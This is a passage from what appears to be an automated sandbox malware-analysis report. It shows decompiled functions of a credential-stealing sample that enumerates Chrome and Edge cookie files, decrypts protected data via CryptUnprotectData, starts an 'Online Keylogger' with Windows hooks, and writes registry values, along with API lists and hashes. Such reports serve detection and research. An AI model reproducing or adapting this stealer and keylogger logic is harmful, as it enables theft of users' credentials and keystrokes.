					_push(E0041BB59(_t40,  &_v76, _t65));
					E0040C90D(E0040247C() - 0x11,  &_v76);
					E00401F09();
					_t32 = PathFileExistsW(E00401F04( &_v28));
					_t70 = _t32;
					if(_t32 != 0) {
						E0040C864(_t40, _t63, _t66, _t70,  &_v28);
					}
					_t65 = _t65 + 1;
				} while (_t65 < 0x64);
				E00401F09();
				E00401F09();
				return _t63;
			}















                                    0x0040c53a
                                    0x0040c53a
                                    0x0040c542
                                    0x0040c544
                                    0x0040c54c
                                    0x0040c55c
                                    0x0040c56b
                                    0x0040c571
                                    0x0040c573
                                    0x0040c57b
                                    0x0040c57b
                                    0x0040c582
                                    0x0040c583
                                    0x0040c598
                                    0x0040c5a0
                                    0x0040c5af
                                    0x0040c5c0
                                    0x0040c5c8
                                    0x0040c5d6
                                    0x0040c5dc
                                    0x0040c5de
                                    0x0040c5e6
                                    0x0040c5e6
                                    0x0040c5eb
                                    0x0040c5ec
                                    0x0040c5f4
                                    0x0040c5fc
                                    0x0040c608

                                    APIs
                                      • Part of subcall function 0040C411: PathFileExistsW.SHLWAPI(00000000,\AppData\Local\Google\Chrome\,00000000), ref: 0040C444
                                    • PathFileExistsW.SHLWAPI(00000000), ref: 0040C56B
                                    • PathFileExistsW.SHLWAPI(00000000,-00000011,?,00000000,00000000), ref: 0040C5D6
                                    Strings
                                    • User Data\Default\Network\Cookies, xrefs: 0040C551
                                    • User Data\Profile ?\Network\Cookies, xrefs: 0040C583
                                    Memory Dump Source
                                    • Source File: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_1_2_400000_SndVol.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: ExistsFilePath
                                    • String ID: User Data\Default\Network\Cookies$User Data\Profile ?\Network\Cookies
                                    • API String ID: 1174141254-1980882731
                                    • Opcode ID: 450a366636154d56f81a4758b33826253a2e1f8194d36d39dbc02f02a2ded946
                                    • Instruction ID: 143c572692013da349364e64c6a95c7be331c886cffb2a8576926a43843d2f99
                                    • Opcode Fuzzy Hash: 450a366636154d56f81a4758b33826253a2e1f8194d36d39dbc02f02a2ded946
                                    • Instruction Fuzzy Hash: 2721D37190011ADACB05F7A2DC96CEEB778AE50719B40053FB502B21E2EF78994AC698
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 0040C609 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 72COMMON
                                    Download Yara Rule
                                    C-Code - Quality: 95%
                                    			E0040C609(void* __ebx, void* __ecx, void* __edx, void* __eflags) {
				char _v28;
				char _v52;
				char _v76;
				void* __edi;
				void* __esi;
				void* __ebp;
				int _t22;
				int _t32;
				void* _t59;
				void* _t63;
				void* _t65;
				void* _t66;

				_t59 = __edx;
				_t40 = __ebx;
				_t63 = __ecx;
				E0040C903(__ecx);
				E0040C474(__ebx,  &_v52, _t59, __ecx, __eflags);
				E0040915B( &_v28,  &_v52, _t66, L"User Data\\Default\\Network\\Cookies");
				_t22 = PathFileExistsW(E00401F04( &_v28));
				_t68 = _t22;
				if(_t22 != 0) {
					E0040C864(__ebx, _t63, _t66, _t68,  &_v28);
				}
				_t65 = 1;
				do {
					E00401F13( &_v28,  &_v52, _t65, E0040915B( &_v76,  &_v52, _t66, L"User Data\\Profile ?\\Network\\Cookies"));
					E00401F09();
					_push(E0041BB59(_t40,  &_v76, _t65));
					E0040C90D(E0040247C() - 0x11,  &_v76);
					E00401F09();
					_t32 = PathFileExistsW(E00401F04( &_v28));
					_t70 = _t32;
					if(_t32 != 0) {
						E0040C864(_t40, _t63, _t66, _t70,  &_v28);
					}
					_t65 = _t65 + 1;
				} while (_t65 < 0x64);
				E00401F09();
				E00401F09();
				return _t63;
			}















                                    0x0040c609
                                    0x0040c609
                                    0x0040c611
                                    0x0040c613
                                    0x0040c61b
                                    0x0040c62b
                                    0x0040c63a
                                    0x0040c640
                                    0x0040c642
                                    0x0040c64a
                                    0x0040c64a
                                    0x0040c651
                                    0x0040c652
                                    0x0040c667
                                    0x0040c66f
                                    0x0040c67e
                                    0x0040c68f
                                    0x0040c697
                                    0x0040c6a5
                                    0x0040c6ab
                                    0x0040c6ad
                                    0x0040c6b5
                                    0x0040c6b5
                                    0x0040c6ba
                                    0x0040c6bb
                                    0x0040c6c3
                                    0x0040c6cb
                                    0x0040c6d7

                                    APIs
                                      • Part of subcall function 0040C474: PathFileExistsW.SHLWAPI(00000000,\AppData\Local\Microsoft\Edge\,00000000), ref: 0040C4A7
                                    • PathFileExistsW.SHLWAPI(00000000), ref: 0040C63A
                                    • PathFileExistsW.SHLWAPI(00000000,-00000011,?,00000000,00000000), ref: 0040C6A5
                                    Strings
                                    • User Data\Default\Network\Cookies, xrefs: 0040C620
                                    • User Data\Profile ?\Network\Cookies, xrefs: 0040C652
                                    Memory Dump Source
                                    • Source File: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_1_2_400000_SndVol.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: ExistsFilePath
                                    • String ID: User Data\Default\Network\Cookies$User Data\Profile ?\Network\Cookies
                                    • API String ID: 1174141254-1980882731
                                    • Opcode ID: 2236749ed872c94a18b015ae4943e95eee60a554261607366157bbf22bef625b
                                    • Instruction ID: fcdb1cfe338388a8d9ac1ad5efd95a9b58e0ac8536ae7caf5639fcd79a4b7447
                                    • Opcode Fuzzy Hash: 2236749ed872c94a18b015ae4943e95eee60a554261607366157bbf22bef625b
                                    • Instruction Fuzzy Hash: DC21E27190011ADACB14F7A2DC96CEEB778BE50719B50053FB502B31E2EF789946C698
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 0040B0B2 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 68timeCOMMON
                                    Download Yara Rule
                                    C-Code - Quality: 53%
                                    			E0040B0B2(void* __ebx, void* __ecx, void* __eflags, char _a4) {
				struct _SYSTEMTIME _v20;
				char _v44;
				char _v68;
				void* __edi;
				void* __esi;
				void* __ebp;
				WCHAR* _t28;
				void* _t61;
				void* _t62;
				void* _t64;
				void* _t65;
				void* _t66;

				_t66 = __eflags;
				_t61 = __ecx;
				GetLocalTime( &_v20);
				E00401F13( &_a4, _t21, _t62, E00403014(__ebx,  &_v44, E0040B8CA( &_v68, L"\r\n[%04i/%02i/%02i %02i:%02i:%02i ", _t64,  &_a4), _t61, _t64, _t66, L"]\r\n"));
				E00401F09();
				E00401F09();
				_push(0x64 + E0040247C() * 2);
				_t28 = E0043BCA1( &_a4);
				_push(_v20.wSecond & 0x0000ffff);
				_push(_v20.wMinute & 0x0000ffff);
				_push(_v20.wHour & 0x0000ffff);
				_push(_v20.wDay & 0x0000ffff);
				_push(_v20.wMonth & 0x0000ffff);
				wsprintfW(_t28, E00401F04( &_a4));
				E0040417E(__ebx, _t65, _t21, _t64, _t28);
				E0040A584(_t61, _v20.wYear & 0x0000ffff);
				L0043BC9C(_t28);
				return E00401F09();
			}















                                    0x0040b0b2
                                    0x0040b0bd
                                    0x0040b0c0
                                    0x0040b0ec
                                    0x0040b0f4
                                    0x0040b0fc
                                    0x0040b110
                                    0x0040b111
                                    0x0040b121
                                    0x0040b126
                                    0x0040b12b
                                    0x0040b130
                                    0x0040b135
                                    0x0040b141
                                    0x0040b14c
                                    0x0040b153
                                    0x0040b159
                                    0x0040b16c

                                    APIs
                                    • GetLocalTime.KERNEL32(?,?,00000000), ref: 0040B0C0
                                    • wsprintfW.USER32 ref: 0040B141
                                      • Part of subcall function 0040A584: SetEvent.KERNEL32(?,?,?,0040B77D,?,?,?,?,?,00000000), ref: 0040A5B0
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_1_2_400000_SndVol.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: EventLocalTimewsprintf
                                    • String ID: [%04i/%02i/%02i %02i:%02i:%02i $]
                                    • API String ID: 1497725170-1359877963
                                    • Opcode ID: ab8b68bdc7049bba14b96c84274cabe484e987487aeea8c837f8d8a2b609ff9c
                                    • Instruction ID: 09d508d30ed1f6e3e057b4a50b7eecd323e7fd56f871b37905187462d18bb658
                                    • Opcode Fuzzy Hash: ab8b68bdc7049bba14b96c84274cabe484e987487aeea8c837f8d8a2b609ff9c
                                    • Instruction Fuzzy Hash: E3115172504118AACB19BB96EC558FE77BCEE48315B00012FF506A60D2FF7C9E45C6AD
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 0040AE3C Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 65threadCOMMON
                                    Download Yara Rule
                                    C-Code - Quality: 90%
                                    			E0040AE3C(void* __ecx, void* __edx) {
				char _v28;
				void* __ebx;
				void* __edi;
				void* __ebp;
				void* _t7;
				void* _t18;
				void* _t31;
				void* _t32;
				void* _t33;

				_t31 = __ecx;
				_t38 =  *((char*)(__ecx + 0x4a));
				if( *((char*)(__ecx + 0x4a)) == 0) {
					 *((char*)(__ecx + 0x4a)) = 1;
					E00402093(_t18,  &_v28, __edx, _t32, "Online Keylogger Started");
					_t34 = _t33 - 0x18;
					E0041BBB0(_t33 - 0x18,  &_v28);
					E0040B0B2(_t18, _t31, _t38);
					E00401FD8();
					E00402093(_t18, _t34 - 0x18,  &_v28, _t32, "Online Keylogger Started");
					E00402093(_t18, _t34,  &_v28, _t32, "i");
					E0041B441(_t18, "Online Keylogger Started");
					if( *((intOrPtr*)(_t31 + 0x49)) == 0) {
						if( *_t31 == 0) {
							CreateThread(0, 0, E0040A267, _t31, 0, 0);
						}
						CreateThread(0, 0, E0040A289, _t31, 0, 0);
					}
					return CreateThread(0, 0, E0040A295, _t31, 0, 0);
				}
				return _t7;
			}












                                    0x0040ae44
                                    0x0040ae47
                                    0x0040ae4b
                                    0x0040ae56
                                    0x0040ae5e
                                    0x0040ae63
                                    0x0040ae6b
                                    0x0040ae72
                                    0x0040ae7a
                                    0x0040ae85
                                    0x0040ae94
                                    0x0040ae99
                                    0x0040aeac
                                    0x0040aeb0
                                    0x0040aebc
                                    0x0040aebc
                                    0x0040aec8
                                    0x0040aec8
                                    0x00000000
                                    0x0040aed4
                                    0x0040aedc

                                    APIs
                                      • Part of subcall function 0040B0B2: GetLocalTime.KERNEL32(?,?,00000000), ref: 0040B0C0
                                      • Part of subcall function 0040B0B2: wsprintfW.USER32 ref: 0040B141
                                      • Part of subcall function 0041B441: GetLocalTime.KERNEL32(00000000), ref: 0041B45B
                                    • CreateThread.KERNEL32 ref: 0040AEBC
                                    • CreateThread.KERNEL32 ref: 0040AEC8
                                    • CreateThread.KERNEL32 ref: 0040AED4
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_1_2_400000_SndVol.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: CreateThread$LocalTime$wsprintf
                                    • String ID: Online Keylogger Started
                                    • API String ID: 112202259-1258561607
                                    • Opcode ID: 12b37efbddd0dbe6c630f07cbc4948a4e5db473dd26c963c2832fc6d74fc0fec
                                    • Instruction ID: 2ed3f40089f2bb08b49c16237e6e3407ef25e588c22a6674b7a44229a4352515
                                    • Opcode Fuzzy Hash: 12b37efbddd0dbe6c630f07cbc4948a4e5db473dd26c963c2832fc6d74fc0fec
                                    • Instruction Fuzzy Hash: 4201C8A07003183AD62072369C8ADBF7E5DCA81398F4004BFF641226C2D97D1C5587FB
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 00406A63 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 53libraryloaderCOMMON
                                    Download Yara Rule
                                    C-Code - Quality: 28%
                                    			E00406A63(intOrPtr __ecx, char __edx, char* _a4) {
				intOrPtr _v8;
				char _v12;
				intOrPtr _v16;
				char _v20;
				_Unknown_base(*)()* _t11;
				intOrPtr _t18;
				intOrPtr _t24;
				char* _t26;
				void* _t29;
				char* _t32;

				_t11 =  *0x472af4; // 0x0
				_v16 = __ecx;
				_v20 = __edx;
				if(_t11 == 0) {
					_t11 = GetProcAddress(LoadLibraryA("crypt32"), "CryptUnprotectData");
					 *0x472af4 = _t11;
				}
				_push( &_v12);
				_push(0);
				_push(0);
				_push(0);
				_push(0);
				_push(0);
				_push( &_v20);
				if( *_t11() == 0) {
					return 0;
				} else {
					_t24 = _v12;
					_t26 = _a4;
					if(_t24 == 0) {
						L7:
						 *((char*)(_t24 + _t26)) = 0;
						return _v12;
					}
					_t32 = _t26;
					_t29 = _v8 - _t26;
					_t18 = _t24;
					do {
						 *_t32 =  *((intOrPtr*)(_t29 + _t32));
						_t32 = _t32 + 1;
						_t18 = _t18 - 1;
					} while (_t18 != 0);
					goto L7;
				}
			}













                                    0x00406a69
                                    0x00406a6e
                                    0x00406a71
                                    0x00406a76
                                    0x00406a89
                                    0x00406a8f
                                    0x00406a8f
                                    0x00406a97
                                    0x00406a9a
                                    0x00406a9b
                                    0x00406a9c
                                    0x00406a9d
                                    0x00406a9e
                                    0x00406aa2
                                    0x00406aa7
                                    0x00000000
                                    0x00406aa9
                                    0x00406aa9
                                    0x00406aac
                                    0x00406ab1
                                    0x00406acd
                                    0x00406acd
                                    0x00000000
                                    0x00406ad1
                                    0x00406ab9
                                    0x00406abb
                                    0x00406abd
                                    0x00406abf
                                    0x00406ac2
                                    0x00406ac4
                                    0x00406ac5
                                    0x00406ac5
                                    0x00000000
                                    0x00406acc

                                    APIs
                                    • LoadLibraryA.KERNEL32(crypt32,CryptUnprotectData), ref: 00406A82
                                    • GetProcAddress.KERNEL32(00000000), ref: 00406A89
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_1_2_400000_SndVol.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: AddressLibraryLoadProc
                                    • String ID: CryptUnprotectData$crypt32
                                    • API String ID: 2574300362-2380590389
                                    • Opcode ID: 58a6a211d8528d7034b6d4e537693813dfb36b0b7d2b88ce6c125ece2ab5d6dc
                                    • Instruction ID: d796ed41fc96dc9ef8d801536240fab0e9422483ab40f89d2a564a4d0f07de08
                                    • Opcode Fuzzy Hash: 58a6a211d8528d7034b6d4e537693813dfb36b0b7d2b88ce6c125ece2ab5d6dc
                                    • Instruction Fuzzy Hash: 6201B535B00216ABCB18DFAD9D449ABBBB8EB49300F14817EE95AE3341D674D9008BA4
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 0040515C Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 46synchronizationCOMMON
                                    Download Yara Rule
                                    C-Code - Quality: 85%
                                    			E0040515C() {
				void* __ebx;
				void* __ecx;
				long _t19;
				void* _t24;
				intOrPtr _t28;
				void* _t29;
				void* _t30;
				void* _t31;
				void* _t32;
				void* _t33;
				intOrPtr _t40;

				_t31 = _t24;
				 *((intOrPtr*)(_t31 + 0x78)) = 0;
				if( *((intOrPtr*)(_t31 + 0x74)) <= 0) {
					L3:
					 *((char*)(_t31 + 0x5c)) = 0;
					_t40 =  *0x472d48; // 0x0
					if(_t40 != 0) {
						_t34 = _t33 - 0x18;
						E00402093(0, _t33 - 0x18, _t29, _t32, "Connection Timeout");
						E00402093(0, _t34 - 0x18, _t29, _t32, "E");
						E0041B441(0, _t30);
					}
					E00404E26(_t29);
					return 1;
				} else {
					goto L1;
				}
				while(1) {
					L1:
					_t19 = WaitForSingleObject( *(_t31 + 0x60), 0x3e8);
					 *((intOrPtr*)(_t31 + 0x78)) =  *((intOrPtr*)(_t31 + 0x78)) + 1;
					_t28 =  *((intOrPtr*)(_t31 + 0x78));
					if(_t19 == 0) {
						break;
					}
					if(_t28 <  *((intOrPtr*)(_t31 + 0x74))) {
						continue;
					}
					goto L3;
				}
				CloseHandle( *(_t31 + 0x60));
				 *(_t31 + 0x60) = 0;
				 *((char*)(_t31 + 0x5c)) = 0;
				SetEvent( *(_t31 + 0x64));
				return 0;
			}














                                    0x0040515f
                                    0x00405163
                                    0x00405169
                                    0x00405188
                                    0x00405188
                                    0x0040518b
                                    0x00405191
                                    0x00405193
                                    0x0040519d
                                    0x004051ac
                                    0x004051b1
                                    0x004051b6
                                    0x004051bb
                                    0x00000000
                                    0x00000000
                                    0x00000000
                                    0x00000000
                                    0x0040516b
                                    0x0040516b
                                    0x00405173
                                    0x00405179
                                    0x0040517c
                                    0x00405181
                                    0x00000000
                                    0x00000000
                                    0x00405186
                                    0x00000000
                                    0x00000000
                                    0x00000000
                                    0x00405186
                                    0x004051ca
                                    0x004051d3
                                    0x004051d6
                                    0x004051d9
                                    0x00000000

                                    APIs
                                    • WaitForSingleObject.KERNEL32(?,000003E8,?,?,?,00405159), ref: 00405173
                                    • CloseHandle.KERNEL32(?), ref: 004051CA
                                    • SetEvent.KERNEL32(?), ref: 004051D9
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_1_2_400000_SndVol.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: CloseEventHandleObjectSingleWait
                                    • String ID: Connection Timeout
                                    • API String ID: 2055531096-499159329
                                    • Opcode ID: c06a3c35b9b95db9565139632e73866777201a8e0cfb1b4e62f8801120b2126d
                                    • Instruction ID: 26b850576e39c8de9d4476814ef05f95ff191b7c6f03b5e674638f41f0bb7de6
                                    • Opcode Fuzzy Hash: c06a3c35b9b95db9565139632e73866777201a8e0cfb1b4e62f8801120b2126d
                                    • Instruction Fuzzy Hash: 5901D831A40F40AFD7256B368D9552BBFE0FF01306704097FE68396AE2D6789800CF59
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 0040E713 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 45COMMON
                                    Download Yara Rule
                                    APIs
                                    • __CxxThrowException@8.LIBVCRUNTIME ref: 0040E781
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_1_2_400000_SndVol.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: Exception@8Throw
                                    • String ID: ios_base::badbit set$ios_base::eofbit set$ios_base::failbit set
                                    • API String ID: 2005118841-1866435925
                                    • Opcode ID: a9684c954ee5891e16e1afd8ae54deca4c215751209217719e990971aa723dd1
                                    • Instruction ID: 5049156de1fb6228946f679434ef07563bb894366ebf88fa65727a8932dcf701
                                    • Opcode Fuzzy Hash: a9684c954ee5891e16e1afd8ae54deca4c215751209217719e990971aa723dd1
                                    • Instruction Fuzzy Hash: 1801D6719443087AD734EA93CC13FBA33585B20708F648C6BBD02762C2EA7D6961C66F
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 00413762 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 39registryCOMMON
                                    Download Yara Rule
                                    C-Code - Quality: 75%
                                    			E00413762(void* __ecx, short* __edx, short* _a4, char _a8) {
				void* _v8;
				signed int _t16;
				long _t19;
				signed int _t21;
				signed int _t22;

				_push(__ecx);
				_push(_t21);
				if(RegCreateKeyW(__ecx, __edx,  &_v8) != 0) {
					_t22 = 0;
				} else {
					_t16 = E0040247C();
					_t19 = RegSetValueExW(_v8, _a4, 0, 1, E00401F04( &_a8), 2 + _t16 * 2);
					RegCloseKey(_v8);
					_t22 = _t21 & 0xffffff00 | _t19 == 0x00000000;
				}
				E00401F09();
				return _t22;
			}








                                    0x00413765
                                    0x00413766
                                    0x00413775
                                    0x004137b4
                                    0x00413777
                                    0x0041377b
                                    0x0041379b
                                    0x004137a6
                                    0x004137af
                                    0x004137af
                                    0x004137b9
                                    0x004137c4

                                    APIs
                                    • RegCreateKeyW.ADVAPI32(80000001,00000000,004752D8), ref: 0041376D
                                    • RegSetValueExW.ADVAPI32(004752D8,?,00000000,00000001,00000000,00000000,004752F0,?,0040F771,pth_unenc,004752D8), ref: 0041379B
                                    • RegCloseKey.ADVAPI32(004752D8,?,0040F771,pth_unenc,004752D8), ref: 004137A6
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_1_2_400000_SndVol.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: CloseCreateValue
                                    • String ID: pth_unenc
                                    • API String ID: 1818849710-4028850238
                                    • Opcode ID: 2463f78341ac585a3f535ee31d782d803e40a1c038e044ab0fd1c259522c864a
                                    • Instruction ID: 39ca638f3a556dbd65d2a0e86665551851d0ba55163acdd2be93936ebda2a735
                                    • Opcode Fuzzy Hash: 2463f78341ac585a3f535ee31d782d803e40a1c038e044ab0fd1c259522c864a
                                    • Instruction Fuzzy Hash: FEF0C271440218FBCF009FA1EC45FEE373CEB00756F10856AF905A61A1EB359E04DA98
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 0040DEF4 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 39COMMON
                                    Download Yara Rule
                                    C-Code - Quality: 93%
                                    			E0040DEF4(void* __ebx, void* __ecx, void* __edx, void* __edi, void* __esi, void* __eflags, intOrPtr _a4) {
				char _v16;
				signed int _t34;
				signed int* _t49;
				signed int* _t57;
				void* _t65;
				signed int* _t66;

				_t65 = __ecx;
				E0043524B(__ecx, 0);
				E0040FAA8(__ecx + 4);
				E0040FAA8(__ecx + 0xc);
				E0040FA92(__ecx + 0x14);
				E0040FA92(__ecx + 0x1c);
				E0040FAA8(__ecx + 0x24);
				E0040FAA8(__ecx + 0x2c);
				_t76 = _a4;
				if(_a4 == 0) {
					_t49 =  &_v16;
					E0040DE9F(_t49, "bad locale name");
					E00439076( &_v16, 0x46eda0);
					asm("int3");
					_push(_t65);
					_t66 = _t49;
					E004355DE(_t66);
					E0040FA8D( &(_t66[0xb]));
					E0040FA8D( &(_t66[9]));
					E0040FA8D( &(_t66[7]));
					E0040FA8D( &(_t66[5]));
					E0040FA8D( &(_t66[3]));
					E0040FA8D( &(_t66[1]));
					_t57 = _t66;
					_t34 =  *_t57;
					__eflags = _t34;
					if(_t34 == 0) {
						return E00445820(4);
					} else {
						__eflags = _t34 - 8;
						if(_t34 < 8) {
							_t37 = 0x472060 + _t34 * 0x18;
							__eflags = 0x472060 + _t34 * 0x18;
							return E00435AF0(0x472060 + _t34 * 0x18, _t37);
						}
						return _t34;
					}
				} else {
					E00435593(__ebx, __edx, __edi, _t76, __ecx, _a4);
					return _t65;
				}
			}









                                    0x0040defd
                                    0x0040deff
                                    0x0040df07
                                    0x0040df0f
                                    0x0040df17
                                    0x0040df1f
                                    0x0040df27
                                    0x0040df2f
                                    0x0040df34
                                    0x0040df38
                                    0x0040df53
                                    0x0040df56
                                    0x0040df64
                                    0x0040df69
                                    0x0040df6a
                                    0x0040df6b
                                    0x0040df6e
                                    0x0040df77
                                    0x0040df7f
                                    0x0040df87
                                    0x0040df8f
                                    0x0040df97
                                    0x0040df9f
                                    0x0040dfa4
                                    0x004352a3
                                    0x004352a5
                                    0x004352a7
                                    0x00445848
                                    0x004352ad
                                    0x004352ad
                                    0x004352b0
                                    0x004352b5
                                    0x004352b5
                                    0x00000000
                                    0x004352c0
                                    0x004352c1
                                    0x004352c1
                                    0x0040df3a
                                    0x0040df3e
                                    0x0040df4b
                                    0x0040df4b

                                    APIs
                                    • std::_Lockit::_Lockit.LIBCPMT ref: 0040DEFF
                                    • std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 0040DF3E
                                      • Part of subcall function 00435593: _Yarn.LIBCPMT ref: 004355B2
                                      • Part of subcall function 00435593: _Yarn.LIBCPMT ref: 004355D6
                                    • __CxxThrowException@8.LIBVCRUNTIME ref: 0040DF64
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_1_2_400000_SndVol.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: Yarnstd::_$Exception@8Locinfo::_Locinfo_ctorLockitLockit::_Throw
                                    • String ID: bad locale name
                                    • API String ID: 3628047217-1405518554
                                    • Opcode ID: b96e08cf0218413f2fb5b2393e281be2de38d4cf9288932b72e23ca41e9df97d
                                    • Instruction ID: 95f76e9fd98a14fcf2d89d877921819d7687a3f0f6db52c0e658a695a8dccb45
                                    • Opcode Fuzzy Hash: b96e08cf0218413f2fb5b2393e281be2de38d4cf9288932b72e23ca41e9df97d
                                    • Instruction Fuzzy Hash: 4CF044315046046AC734FB66DC53A9A73A49F18714F50897FB40A228D2EF7CAA1ECA99
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 0040B7FA Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 20threadCOMMON
                                    Download Yara Rule
                                    C-Code - Quality: 75%
                                    			E0040B7FA(intOrPtr* __ecx) {
				struct HHOOK__** __esi;
				signed int _t15;
				intOrPtr* _t21;
				intOrPtr* _t22;

				_t16 = __ecx;
				_t21 = __ecx;
				 *((char*)(__ecx + 0x49)) = 0;
				TerminateThread(E0040A27D, 0);
				if( *_t21 != 0) {
					UnhookWindowsHookEx( *__esi);
					 *__esi = 0;
					TerminateThread(E0040A267, 0);
				}
				_t16 = _t21;
				_pop(_t21);
				_pop(0);
				_push(0);
				_push(_t21);
				_t22 = _t16;
				_t2 = _t22 + 0x68; // 0x475158
				_t15 = 0 | DeleteFileW(E00401F04(_t2)) != 0x00000000;
				if(E004077B7(DeleteFileW(E00401F04(_t2))) != 0) {
					_t6 = _t22 + 0x80; // 0x475170
					RemoveDirectoryW(E00401F04(_t6));
				}
				return _t15;
			}







                                    0x0040b7fa
                                    0x0040b7fc
                                    0x0040b806
                                    0x0040b809
                                    0x0040b811
                                    0x0040b815
                                    0x0040b821
                                    0x0040b823
                                    0x0040b823
                                    0x0040b829
                                    0x0040b82b
                                    0x0040b82c
                                    0x0040b7b7
                                    0x0040b7b8
                                    0x0040b7b9
                                    0x0040b7bb
                                    0x0040b7d7
                                    0x0040b7e1
                                    0x0040b7e3
                                    0x0040b7ef
                                    0x0040b7ef
                                    0x0040b7f9

                                    APIs
                                    • TerminateThread.KERNEL32(0040A27D,00000000,004752F0,pth_unenc,0040D006,004752D8,004752F0,?,pth_unenc), ref: 0040B809
                                    • UnhookWindowsHookEx.USER32(004750F0), ref: 0040B815
                                    • TerminateThread.KERNEL32(0040A267,00000000,?,pth_unenc), ref: 0040B823
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_1_2_400000_SndVol.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: TerminateThread$HookUnhookWindows
                                    • String ID: pth_unenc
                                    • API String ID: 3123878439-4028850238
                                    • Opcode ID: 507b53b63eb7c6f10faa5869e7b72cd95082fe0a88c6c54c261be3869f185826
                                    • Instruction ID: 7225ec322da407d72c5b2b1858536f2023f8fa499673018caf64050c5ea1622b
                                    • Opcode Fuzzy Hash: 507b53b63eb7c6f10faa5869e7b72cd95082fe0a88c6c54c261be3869f185826
                                    • Instruction Fuzzy Hash: 14E01272205356EFD7241FA09C88C267AEEDA5479A724087EF2C3526A1CA794C10CB9D
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 0040140A Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 7libraryloaderCOMMON
                                    Download Yara Rule
                                    C-Code - Quality: 100%
                                    			E0040140A() {
				_Unknown_base(*)()* _t2;

				_t2 = GetProcAddress(GetModuleHandleA("User32.dll"), "GetCursorInfo");
				 *0x475794 = _t2;
				return _t2;
			}




                                    0x0040141b
                                    0x00401421
                                    0x00401426

                                    APIs
                                    • GetModuleHandleA.KERNEL32(User32.dll,GetCursorInfo), ref: 00401414
                                    • GetProcAddress.KERNEL32(00000000), ref: 0040141B
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_1_2_400000_SndVol.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: AddressHandleModuleProc
                                    • String ID: GetCursorInfo$User32.dll
                                    • API String ID: 1646373207-2714051624
                                    • Opcode ID: 0feee19109755bbb7e48939f97e78712d63acfb534ae43d0cb60b2001d0c131e
                                    • Instruction ID: 65f79b4a2c2aed896b4012a4b0ac893fb7d0ccba54e760513c8834f3bef68171
                                    • Opcode Fuzzy Hash: 0feee19109755bbb7e48939f97e78712d63acfb534ae43d0cb60b2001d0c131e
                                    • Instruction Fuzzy Hash: B4B09B70541740E7CB106BF45C4F9153555B514703B105476B44996151D7B44400C61E
                                    Uniqueness

                                    Uniqueness Score: -1.00%

